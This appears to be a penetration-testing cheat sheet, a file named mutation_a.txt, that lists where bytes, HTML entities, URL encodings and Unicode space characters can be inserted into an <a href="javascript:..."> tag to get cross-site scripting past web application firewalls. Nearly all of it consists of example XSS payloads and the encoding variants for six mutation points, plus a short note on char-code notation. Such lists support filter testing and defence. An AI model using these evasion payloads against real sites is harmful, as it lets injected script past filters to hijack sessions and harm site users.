Mutation points in <a> tag for WAF bypass

mutation_a.txt

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes: 
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes: 
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes: 
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20 

HTML Encoding:
&#x01; &#x02; &#x03; &#x04; &#x05; &#x06; &#x07; &#x08; &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x0e; &#x0f; &#x10; &#x11; &#x12; &#x13; &#x14; &#x15; &#x16; &#x17; &#x18; &#x19; &#x1a; &#x1b; &#x1c; &#x1d; &#x1e; &#x1f; &#x20;

<a href="&Tab;javascript:alert(1)">
<a href="&#x001;javascript:alert(1)">

[5]
Bytes: 
\x09 \x0a \x0d

HTML Encoding:
&#x09; &#x0a; &#x0d;

<a href="javas\x09cript:alert(1)">
<a href="javas&Tab;cript:alert(1)">

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0 

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0 

HTML Encode (bytes):
&#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x20; &#x21; &#x2b; &#x2d; &#x3b; &#x7e; &#xa0; 

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
&#x1680; &#x2000; &#x2001; &#x2002; &#x2003; &#x2004; &#x2005; &#x2006; &#x2007; &#x2008; &#x2009; &#x200a; &#x2028; &#x2029; &#x202f; &#x205f; &#x3000; &#xfeff

<a href="javascript:~alert(1)">
<a href="javascript://%0d%0aalert(1)">
<a href="javascript:\x0calert(1)">
<a href="javascript:%ef%bb%bfalert(1)">
<a href="javascript:&#xfeff;alert(1)">


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We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code  
\u1680 - OGHAM SPACE MARK 
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8

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